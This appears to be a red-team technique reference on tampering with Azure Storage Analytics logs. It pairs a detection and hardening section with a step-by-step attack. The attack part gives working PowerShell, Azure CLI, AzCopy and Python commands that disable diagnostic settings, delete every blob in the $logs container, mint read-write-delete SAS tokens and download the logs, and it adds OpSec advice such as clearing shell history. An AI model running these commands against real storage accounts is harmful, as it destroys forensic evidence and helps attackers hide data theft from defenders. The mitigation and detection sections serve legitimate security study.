| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-045 |
| MITRE ATT&CK v18.1 | T1537 - Transfer Data to Cloud Account |
| Tactic | Exfiltration |
| Platforms | Entra ID, Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure Storage versions, all PowerShell versions 5.0+ |
| Patched In | N/A (Mitigation requires configuration hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Storage Analytics logs record detailed telemetry about access patterns, authentication methods, and data operations on Azure Blob Storage, File Shares, Queues, and Tables. Adversaries with compromised credentials or sufficient RBAC permissions can abuse these logs in two ways: (1) Log Manipulation — deleting or purging Storage Analytics logs from the $logs container to erase evidence of reconnaissance or data exfiltration; (2) Log Exfiltration — accessing the logs themselves to map container contents, authentication patterns, and sensitive file metadata before conducting targeted data theft. Once logs are disabled or deleted, defenders lose the only detailed audit trail of blob-level activity.
Attack Surface: The $logs blob container (auto-created when Storage Analytics is enabled), Azure Monitor diagnostic settings, and storage account access keys/SAS tokens with read/delete permissions on the $logs container.
Business Impact: Complete loss of forensic visibility into Storage Account activities. Attackers can enumerate container contents, identify high-value blobs, extract them via SAS URIs or access keys, and destroy evidence—all without triggering alerts if logs have been disabled. This is particularly dangerous for organizations storing PII, financial data, or intellectual property in unencrypted or loosely-controlled storage accounts.
Technical Context: Typically takes 10-30 seconds to disable Storage Analytics via Azure Portal or PowerShell. Deletion of existing logs in the $logs container takes seconds to minutes depending on log volume. Chance of detection (without monitoring): Very high if Azure Activity Log monitoring is enabled; very low if only Storage Analytics logs are monitored (since they can be deleted). Common indicators: Sudden disappearance of $logs container, gaps in storage account activity, or absence of expected Storage Analytics logs during the attack timeframe.
Delete and Write permissions on the $logs container; OR requires Azure RBAC role with Microsoft.Storage/storageAccounts/blobServices/containers/delete and Microsoft.Storage/storageAccounts/write permissions.Microsoft.Storage/storageAccounts/providers/diagnosticSettings/write), but deletion of logs in the $logs container may not be captured if the logs themselves are being deleted.$logs, they are permanently lost unless backed up separately. Disabling Storage Analytics is reversible, but historical logs are gone.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 3.2 (Azure) | Ensure Storage logging is enabled for Blob Storage |
| DISA STIG | V-87901 | Azure: All virtual resources must have logging enabled |
| CISA SCuBA | SC-7 | Logging of access to Azure Storage is not enabled |
| NIST 800-53 | AU-2, AU-11 | Audit events; Audit log retention and archival |
| GDPR | Art. 32 | Security of Processing — adequate logging required |
| DORA | Art. 9 | Protection and Prevention — detect unauthorized access to financial data |
| NIS2 | Art. 21 | Cyber Risk Management Measures — maintain audit trail of critical data access |
| ISO 27001 | A.12.4.1 | Recording user activities; A.12.4.3 — Protection of log information |
| ISO 27005 | Risk Scenario | “Loss of audit logs enabling attacker to hide data exfiltration” |
Microsoft.Storage/storageAccounts/write and Microsoft.Storage/storageAccounts/blobServices/containers/delete permissions; ORDelete and Write permissions on the $logs container.Supported Versions:
Tools:
Az.Storage) (Version 4.0+)azure-storage-blob) (Version 12.0+)# Check if Storage Analytics is enabled for Blob Storage
$storageAccountName = "targetstorageaccount"
$resourceGroupName = "target-rg"
$storageAccount = Get-AzStorageAccount -ResourceGroupName $resourceGroupName -Name $storageAccountName
$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId $storageAccount.Id -ErrorAction SilentlyContinue
if ($null -eq $diagnosticSettings) {
Write-Host "Storage Analytics NOT enabled" -ForegroundColor Red
} else {
Write-Host "Storage Analytics IS enabled" -ForegroundColor Green
$diagnosticSettings | Select-Object Name, Logs, Metrics | Format-Table
}
# Check if $logs container exists
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -UseConnectedAccount
$logsContainer = Get-AzStorageContainer -Name '$logs' -Context $ctx -ErrorAction SilentlyContinue
if ($null -eq $logsContainer) {
Write-Host "`$logs container does NOT exist" -ForegroundColor Yellow
} else {
Write-Host "`$logs container EXISTS" -ForegroundColor Green
# List log blobs to identify volume
$logBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx
Write-Host "Total log blobs: $($logBlobs.Count)" -ForegroundColor Cyan
}
# Check who has access to storage account keys
$storageAccountKeys = Get-AzStorageAccountKey -ResourceGroupName $resourceGroupName -Name $storageAccountName
Write-Host "Number of access keys present: $($storageAccountKeys.Count)" -ForegroundColor Cyan
What to Look For:
Logs and Metrics properties populated with enabled status.$logs container exists, it means historical logs are available for review/deletion.Version Note: Command syntax is consistent across PowerShell 5.0+, but Az.Storage module must be version 4.0+ for full compatibility.
# Check Storage Analytics status
az storage account show --name <storage_account_name> \
--resource-group <resource_group_name> \
--query "id"
# Get diagnostic settings
az monitor diagnostic-settings list --resource <storage_account_id>
# List blobs in $logs container (if accessible)
az storage blob list --container-name '$logs' \
--account-name <storage_account_name> \
--account-key <storage_account_key> \
--output table
What to Look For:
diagnosticSettings indicates Storage Analytics is enabled.$logs container means there are logs to exfiltrate or delete.Supported Versions: Server 2016-2025, All Azure Storage versions
Objective: Establish authentication to the target storage account using either account key or managed identity.
Command (Using Storage Account Key):
$storageAccountName = "targetstorageaccount"
$storageAccountKey = "DefaultEndpointsProtocol=https;AccountName=targetstorageaccount;AccountKey=<base64_key_here>;EndpointSuffix=core.windows.net"
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey
Command (Using Managed Identity - if running from Azure VM):
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -UseConnectedAccount
Command (Using SAS Token):
$sasToken = "sv=2021-06-08&ss=b&srt=sco&sp=rwdlac&se=2025-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=..."
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -SasToken $sasToken
Expected Output:
StorageAccountName : targetstorageaccount
BlobEndPoint : https://targetstorageaccount.blob.core.windows.net/
FileEndPoint : https://targetstorageaccount.file.core.windows.net/
...
What This Means:
OpSec & Evasion:
Clear-History in PowerShell or history -c in Bash.Troubleshooting:
New-AzStorageContext : The remote server returned an error: (401) Unauthorized
se (expiry) parameter.Objective: Turn off diagnostic logging to prevent further log collection.
Command (Set Diagnostic Settings to Disabled):
$resourceGroupName = "target-rg"
$storageAccountName = "targetstorageaccount"
$storageAccount = Get-AzStorageAccount -ResourceGroupName $resourceGroupName -Name $storageAccountName
# Remove diagnostic settings (this disables log collection)
Remove-AzDiagnosticSetting -ResourceId $storageAccount.Id -Force -ErrorAction Continue
Alternative Command (Using Azure CLI):
az monitor diagnostic-settings delete \
--name "StorageAnalytics" \
--resource /subscriptions/<subscription_id>/resourceGroups/<rg_name>/providers/Microsoft.Storage/storageAccounts/<storage_account_name>
Expected Output:
The diagnostic setting 'StorageAnalytics' was successfully removed.
What This Means:
$logs container will no longer receive new entries.$logs remain (until explicitly deleted).OpSec & Evasion:
Microsoft.Storage/storageAccounts/providers/diagnosticSettings/write or Microsoft.Storage/storageAccounts/providers/diagnosticSettings/delete.Troubleshooting:
Remove-AzDiagnosticSetting : The resource does not have diagnostic settings.
Objective: Permanently remove historical Storage Analytics logs to destroy forensic evidence.
Command (Delete All Blobs in $logs Container):
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey
# Get all blobs in $logs container
$logBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx
# Delete each blob
$logBlobs | Remove-AzStorageBlob -Force
Write-Host "Deleted $($logBlobs.Count) log blobs from `$logs container" -ForegroundColor Green
Command (Delete Specific Date Range of Logs - More Selective):
$targetDate = (Get-Date).AddDays(-1) # Delete logs from yesterday
$logBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx | `
Where-Object { $_.LastModified -lt $targetDate }
$logBlobs | Remove-AzStorageBlob -Force
Write-Host "Deleted $($logBlobs.Count) log blobs older than $targetDate" -ForegroundColor Green
Alternative Command (Using Azure CLI):
# Delete all blobs in $logs container
az storage blob delete-batch \
--source '$logs' \
--account-name <storage_account_name> \
--account-key <storage_account_key>
Alternative Command (Using AzCopy - Faster for Large Volumes):
azcopy remove "https://<storage_account_name>.blob.core.windows.net/\$logs" --recursive --account-key <storage_account_key>
Expected Output:
Deleted 1250 log blobs from $logs container
What This Means:
$logs container have been permanently deleted.OpSec & Evasion:
Troubleshooting:
Remove-AzStorageBlob : The resource referenced by the URI does not exist.
$logs container doesn’t exist or is empty.Objective: Confirm that Storage Analytics is disabled and logs are deleted.
Command (Verify $logs Container is Empty or Deleted):
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey
try {
$remainingBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx
if ($remainingBlobs.Count -eq 0) {
Write-Host "`$logs container is EMPTY (all logs deleted)" -ForegroundColor Green
} else {
Write-Host "WARNING: $($remainingBlobs.Count) blobs still exist in `$logs" -ForegroundColor Yellow
}
} catch {
Write-Host "`$logs container no longer exists" -ForegroundColor Green
}
Command (Verify Diagnostic Settings are Disabled):
$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId $storageAccount.Id -ErrorAction SilentlyContinue
if ($null -eq $diagnosticSettings) {
Write-Host "Diagnostic settings are DISABLED (no active logging)" -ForegroundColor Green
} else {
Write-Host "WARNING: Diagnostic settings still exist" -ForegroundColor Yellow
}
Expected Output:
$logs container is EMPTY (all logs deleted)
Diagnostic settings are DISABLED (no active logging)
What This Means:
Supported Versions: All Azure Storage versions
This method assumes the attacker wants to extract logs before deletion to identify container contents, access patterns, and sensitive data locations.
Objective: Create a temporary, publicly-accessible URL to download all logs without exposing storage account keys.
Command (PowerShell):
$storageAccountName = "targetstorageaccount"
$storageAccountKey = "<storage_account_key>"
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey
# Generate SAS token for $logs container (valid for 7 days, read-only)
$sasToken = New-AzStorageContainerSASToken -Container '$logs' `
-Context $ctx `
-Permission racwd `
-ExpiryTime (Get-Date).AddDays(7)
# Construct full SAS URI
$sasUri = "https://$storageAccountName.blob.core.windows.net/`$logs?$sasToken"
Write-Host "SAS URI: $sasUri" -ForegroundColor Cyan
Command (Azure CLI):
az storage container generate-sas \
--name '$logs' \
--account-name <storage_account_name> \
--account-key <storage_account_key> \
--permissions racwd \
--expiry 2025-12-31T23:59:59Z
Expected Output:
SAS URI: https://targetstorageaccount.blob.core.windows.net/$logs?sv=2021-06-08&ss=b&srt=c&sp=racwd&se=2025-01-17T08:00:00Z&...
What This Means:
$logs container.OpSec & Evasion:
ListAccountSas or GenerateSAS operations.Objective: Download all logs to an attacker-controlled location.
Command (Using AzCopy):
azcopy copy "https://targetstorageaccount.blob.core.windows.net/\$logs/*?<sas_token>" "C:\logs\" --recursive
Command (Using PowerShell):
$sasUri = "https://targetstorageaccount.blob.core.windows.net/\$logs?<sas_token>"
$outputPath = "C:\logs"
# Download all blobs from $logs container
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -SasToken $sasToken
Get-AzStorageBlob -Container '$logs' -Context $ctx | ForEach-Object {
Get-AzStorageBlobContent -Container '$logs' -Blob $_.Name -Context $ctx -Destination $outputPath -Force
}
Command (Using wget/curl from Linux):
wget -r -nd -A "*.log" "https://targetstorageaccount.blob.core.windows.net/\$logs?<sas_token>" -P /tmp/logs/
Expected Output:
Downloaded 1250 log files (4.2 GB total) to C:\logs\
What This Means:
OpSec & Evasion:
Supported Versions: All Azure Storage versions, Python 3.6+
This method is useful for automation and remote execution without requiring PowerShell installed locally.
Command (Python Script):
#!/usr/bin/env python3
from azure.storage.blob import BlobServiceClient, BlobSasPermissions, generate_blob_sas
from datetime import datetime, timedelta
# Authenticate using storage account key
storage_account_name = "targetstorageaccount"
storage_account_key = "<storage_account_key>"
blob_service_client = BlobServiceClient(
account_url=f"https://{storage_account_name}.blob.core.windows.net",
credential=storage_account_key
)
# Get container client for $logs
container_client = blob_service_client.get_container_client("$logs")
# Delete all blobs in the container
blob_list = container_client.list_blobs()
for blob in blob_list:
print(f"Deleting blob: {blob.name}")
container_client.delete_blob(blob.name)
print("All logs deleted successfully")
Expected Output:
Deleting blob: [datetime]/000000.log
Deleting blob: [datetime]/000001.log
...
All logs deleted successfully
What This Means:
OpSec & Evasion:
Microsoft.Storage/storageAccounts/providers/diagnosticSettings/write (disabling diagnostics)Microsoft.Storage/storageAccounts/providers/diagnosticSettings/delete (removing diagnostic settings)ListAccountSas or GenerateSAS (creating SAS tokens)$logs container$logs container from unusual IP/user agent# Revoke storage account keys to deny further access
New-AzStorageAccountKey -ResourceGroupName <rg_name> -Name <storage_account_name> -KeyName key1
New-AzStorageAccountKey -ResourceGroupName <rg_name> -Name <storage_account_name> -KeyName key2
# If logs were backed up to separate storage account, restore them
$backupCtx = New-AzStorageContext -StorageAccountName "backupstorageaccount" -StorageAccountKey $backupKey
$backupBlobs = Get-AzStorageBlob -Container "backup-logs" -Context $backupCtx
$targetCtx = New-AzStorageContext -StorageAccountName "targetstorageaccount" -StorageAccountKey $targetKey
# Copy restored logs to target account
foreach ($blob in $backupBlobs) {
Get-AzStorageBlobContent -Container "backup-logs" -Blob $blob.Name -Context $backupCtx -Destination "C:\temp\"
Set-AzStorageBlobContent -Container '$logs' -File "C:\temp\$($blob.Name)" -Context $targetCtx -Force
}
# Re-enable diagnostic settings
$storageAccount = Get-AzStorageAccount -ResourceGroupName <rg_name> -Name <storage_account_name>
Set-AzDiagnosticSetting -ResourceId $storageAccount.Id `
-Enabled $true `
-Category Logs `
-RetentionEnabled $true `
-RetentionInDays 365
Disable Public Access to Storage Accounts: Ensure all storage accounts are not publicly accessible via anonymous SAS tokens or open permissions.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Disable public blob access
Set-AzStorageAccount -ResourceGroupName <rg_name> -Name <storage_account_name> -AllowBlobPublicAccess $false
# Regenerate keys
New-AzStorageAccountKey -ResourceGroupName <rg_name> -Name <storage_account_name> -KeyName key1 -Force
New-AzStorageAccountKey -ResourceGroupName <rg_name> -Name <storage_account_name> -KeyName key2 -Force
Enable Storage Analytics and Forward Logs to Immutable Storage: Configure Storage Analytics to log all blob operations, and replicate logs to a separate, read-only storage account that attackers cannot modify.
Manual Steps (PowerShell):
$storageAccount = Get-AzStorageAccount -ResourceGroupName <rg_name> -Name <storage_account_name>
# Enable diagnostic settings with 1-year retention
Set-AzDiagnosticSetting -ResourceId $storageAccount.Id `
-Enabled $true `
-Category Logs `
-RetentionEnabled $true `
-RetentionInDays 365 `
-WorkspaceId <log_analytics_workspace_id> # Forward to Log Analytics
Manual Steps (Azure Portal - Immutable Storage):
$logs-archive$logs to this immutable container dailyEnforce Immutable Audit Logs in Microsoft Entra ID: If logs are stored in Entra ID or Microsoft 365, enable Immutable Logs to prevent deletion.
Manual Steps (Microsoft 365 / Purview):
Restrict RBAC Permissions on Storage Accounts: Limit which users/service principals can modify diagnostic settings or delete blobs.
Manual Steps (PowerShell - Assign Limited Role):
# Create custom role with minimal permissions (no delete on $logs)
$role = @{
Name = "Storage Account Reader (No Delete)"
Description = "Can read storage account but not delete logs"
IsCustom = $true
Permissions = @(
@{
Actions = @("Microsoft.Storage/storageAccounts/read")
NotActions = @(
"Microsoft.Storage/storageAccounts/delete",
"Microsoft.Storage/storageAccounts/write",
"Microsoft.Storage/storageAccounts/blobServices/containers/delete"
)
}
)
AssignableScopes = @("/subscriptions/<subscription_id>")
}
$roleDefinition = New-AzRoleDefinition -Role $role
Manual Steps (Azure Portal - RBAC Assignment):
Enable Microsoft Defender for Storage: Automatically detect suspicious access patterns, log deletion, and malware uploads.
Manual Steps (Azure Portal):
Microsoft.Storage/storageAccounts/blobServices/containers/deleteEnable Immutable Blobs (WORM): Configure write-once-read-many (WORM) locks on the $logs container so blobs cannot be deleted even by admins.
Manual Steps (PowerShell):
$ctx = New-AzStorageContext -StorageAccountName <storage_account_name> -StorageAccountKey <key>
# Set container-level immutability policy
$containerName = '$logs'
$retentionDays = 2555 # 7 years
# Note: This requires Azure CLI, as PowerShell lacks direct WORM support
Manual Steps (Azure CLI):
az storage container immutability-policy set \
--account-name <storage_account_name> \
--container-name '$logs' \
--period 2555 # 7 years in days
Conditional Access (Entra ID): Require MFA and compliant devices for any access to storage accounts with sensitive data.
Manual Steps:
Protect Storage Account AccessNetwork Segmentation: Restrict storage account access to specific IP ranges or Azure services only.
Manual Steps (PowerShell):
# Add network rule to allow only corporate IP range
Update-AzStorageAccountNetworkRuleSet -ResourceGroupName <rg_name> -Name <storage_account_name> `
-DefaultAction Deny `
-Bypass AzureServices `
-IpRule @(
@{Action = "Allow"; IpAddressOrRange = "203.0.113.0/24"} # Corporate IP
)
# Check if Storage Analytics is enabled
$storageAccount = Get-AzStorageAccount -ResourceGroupName <rg_name> -Name <storage_account_name>
$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId $storageAccount.Id
if ($null -eq $diagnosticSettings) {
Write-Host "❌ FAIL: Storage Analytics is NOT enabled" -ForegroundColor Red
} else {
Write-Host "✓ PASS: Storage Analytics is enabled with $($diagnosticSettings.Logs.Enabled) logging" -ForegroundColor Green
}
# Check if public access is disabled
$publicAccessStatus = $storageAccount.AllowBlobPublicAccess
Write-Host "Blob Public Access: $publicAccessStatus (should be False)" -ForegroundColor $(if ($publicAccessStatus -eq $false) { 'Green' } else { 'Red' })
# Check if immutable retention is enabled
$containerProps = Get-AzStorageContainerStoredAccessPolicy -Container '$logs' -Context $ctx -ErrorAction SilentlyContinue
Write-Host "Immutable Policy Status: $($containerProps.RetentionDays) days" -ForegroundColor Green
Expected Output (If Secure):
✓ PASS: Storage Analytics is enabled with True logging
Blob Public Access: False (should be False)
Immutable Policy Status: 2555 days
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-005] Azure Resource Graph enumeration | Attacker enumerates storage accounts and container contents |
| 2 | Credential Access | [CA-UNSC-008] Azure storage account key theft | Attacker obtains storage account key or SAS token |
| 3 | Exfiltration | [REALWORLD-045] | Attacker disables/deletes Storage Analytics logs |
| 4 | Exfiltration | [T1537] Transfer Data to Cloud Account | Attacker exfiltrates blobs to attacker-controlled storage account |
| 5 | Defense Evasion | [T1070] Indicator Removal | Attacker clears Azure Activity Logs to hide trace of exfiltration |
| 6 | Impact | [T1485] Data Destruction | Attacker deletes original blobs to prevent recovery |
$logs container to map blob contents